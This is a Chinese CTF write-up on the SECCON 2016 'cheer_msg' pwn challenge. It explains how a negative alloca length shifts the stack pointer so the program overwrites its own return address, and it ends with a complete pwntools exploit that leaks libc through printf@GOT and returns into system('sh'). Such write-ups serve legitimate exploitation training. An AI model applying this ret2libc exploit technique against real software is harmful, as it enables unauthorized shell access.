一步一步 Pwn RouterOS之ctf题练手
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
本文目的是以一道比较简单的 ctf 的练手,为后面的分析 RouterOs 的 漏洞和写 exploit 打基础。
Seccon CTF quals 2016 的一道题。
题目,idb 文件:
https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca
正文
首先看看 main 函数的代码。

逻辑还是比较简单的获取输入后,简单的加了 30 就给 alloca 去分配空间,然后进入 message 函数。
alloca 函数是 从 栈上分配内存, 它分配内存是通过 sub esp , * 来实现的,我们可以转到汇编代码看看。

可以看到调用 alloca 实际就是通过 sub esp, eax 来分配栈内存。
我们输入的 num 是 int 类型的

如果我们输入 num 为 负数, sub esp 就相当于 add esp 我们可以把栈指针往栈底移动。
继续往下看

接下来会调用 message 函数, 可以看到传给他的参数为 esp + 23 和 num , 进入 message 函数 ,看看他的逻辑。

首先读取 n 个字符 到 buf , 这两个变量就是我们传入的参数。
然后读入 0x40 个字符到 message 函数自己定义的局部变量中。
一切都很正常,没有溢出,没有格式化字符串漏洞。
程序的漏洞在于传入的 buf 是通过 alloca 分配的内存,我们可以通过输入 负数 使得 alloca的参数为负, 这样我们就可以把 esp 往栈底移动,栈底有返回地址, 然后通过 message 中读取数据,覆盖 eip 然后进行 rop 即可。
要触发漏洞我们需要输入负数,所以在

会直接返回,不会获取输入,因为它里面调用的是 fgets来获取输入。fgets会有检查。

所以我们只能往 message 函数内的缓冲区 t_buf写数据,不过这个缓冲区也是在栈上,同样与 esp 相关,所以我们把esp 往栈底移时,它也是会跟着下移,通过它也可以写 返回地址 的值。
我们可以输入 -140(这个值可以通过 先输入一个 比较小的比如 -32, 然后计算最后得到的数据的地址距离返回地址位置的距离,来继续调整)
在 0x0804860E 设个断点

sub 之后

可以看到 esp 已经增大。
然后加上一定的 padding (可以使用 pwntools 的 cyclic 计算) ,就能修改 返回地址了。

之后就是正常的 rop
使用 printf 打印 got 表中的 printf 的值,泄露 libc 的地址。然后回到程序的开始,再次触发漏洞, 调用 system("sh")
总结
alloca 的细节要注意, 注意输入的数据是有符号的还是无符号的。对于后面计算偏移,可以先动态调试计算一个粗略的值,然后使用 cyclic 确定精确的偏移。
exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
r = process("./cheer_msg")
binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
''')
r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(binary.symbols['printf'])
payload += p32(binary.entry) # ret to start
payload += p32(binary.got['printf'])
r.sendline(payload)
r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system']
log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh))
r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(system)
payload += p32(binary.entry)
payload += p32(sh)
r.sendline(payload)
r.interactive()
参考:
https://github.com/0x90r00t/Write-Ups/tree/master/Seccon/cheer_msg
一步一步 Pwn RouterOS之ctf题练手的更多相关文章
- 一步一步pwn路由器之rop技术实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- 一步一步学ROP之linux_x64篇
一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ...
- 一步一步学ROP之gadgets和2free篇(蒸米spark)
目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...
- 一步一步学ROP之linux_x64篇(蒸米spark)
目录 一步一步学ROP之linux_x64篇(蒸米spark) 0x00 序 0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 0x02 ...
- 一步一步学ROP之linux_x86篇(蒸米spark)
目录 一步一步学ROP之linux_x86篇(蒸米spark) 0x00 序 0x01 Control Flow Hijack 程序流劫持 0x02 Ret2libc – Bypass DEP 通过r ...
- 如何一步一步用DDD设计一个电商网站(九)—— 小心陷入值对象持久化的坑
阅读目录 前言 场景1的思考 场景2的思考 避坑方式 实践 结语 一.前言 在上一篇中(如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成),有一行注释的代码: public interfa ...
- 如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成
阅读目录 前言 建模 实现 结语 一.前言 前面几篇已经实现了一个基本的购买+售价计算的过程,这次再让售价丰满一些,增加一个会员价的概念.会员价在现在的主流电商中,是一个不大常见的模式,其带来的问题是 ...
- 如何一步一步用DDD设计一个电商网站(十)—— 一个完整的购物车
阅读目录 前言 回顾 梳理 实现 结语 一.前言 之前的文章中已经涉及到了购买商品加入购物车,购物车内购物项的金额计算等功能.本篇准备把剩下的购物车的基本概念一次处理完. 二.回顾 在动手之前我对之 ...
随机推荐
- POJ 1118
#include<iostream> #include<set> #include<stdio.h> #include<math.h> #include ...
- 一个用JS数组实现的队列
一个用JS数组实现的队列 /*一个用数组实现的队列*/ function Queue(){ this.dataStore = [];//存放队列的数组,初始化为空 this.enqueue = enq ...
- if嵌套语句 shell脚本实例 测试是否闰年
在 if 语句里面,你可以使用另外一个 if 语句.只要你能逻辑管理 你就可以使用多层嵌套. 以下是一个测试闰年的例子: #!/bin/bash # This script will test if ...
- 【数组】Sort Colors
题目: Given an array with n objects colored red, white or blue, sort them so that objects of the same ...
- 关于Spring配置的一些东西
Spring 配置的三种方式:JAVA配置,注解配置,和XML的配置 注解配置: @Service:标识服务层(业务层)组件 @Component:基本注解, 标识了一个受 Spring 管理的组件( ...
- Android 开发工具类 05_Logcat 统一管理类
Logcat 统一管理类: 1.默 认tag 的函数: 2.自定义 tag 的函数. import android.util.Log; // Logcat 统一管理类 public class L { ...
- 解决python3与python2的pip命令冲突问题冲突(window版)
解决方法再上一篇有大概讲解: python开发环境安装配置 这里做一些补充: 上一篇说过,删除python3和python2中的python.exe文件后关闭dos窗口,重新打开dos,就可以进行安装 ...
- 11-hdfs-NameNode-HA-wtihQJM解决单点故障问题
在hdfs中, NN只有一个, 但其中保存的数据尤其重要, 所以需要将元数据保存, 其中源数据有2个形式, fsimage 和 edit文件, 最简单的解决方法就是复制fsimage, 并在文件修改时 ...
- Node.js最新Web技术栈(2016年4月)
Node.js是比较简单的,只有你有前端js基础,那就按照我的办法来吧!一周足矣,虽然这版上了es语法,但依然是可以简单写,也可以难写,参见<全栈工程师之路-Node.js>,里面讲了No ...
- layui框架使用总结
最近一个后台系统使用layui框架做的,遇到好多坑在这里总结一下. 1.layui的基本使用,下面的在他下面写,其他的事件也要在这个里面写 行内onclick事件是监听不到写在下面这种代码中的 ...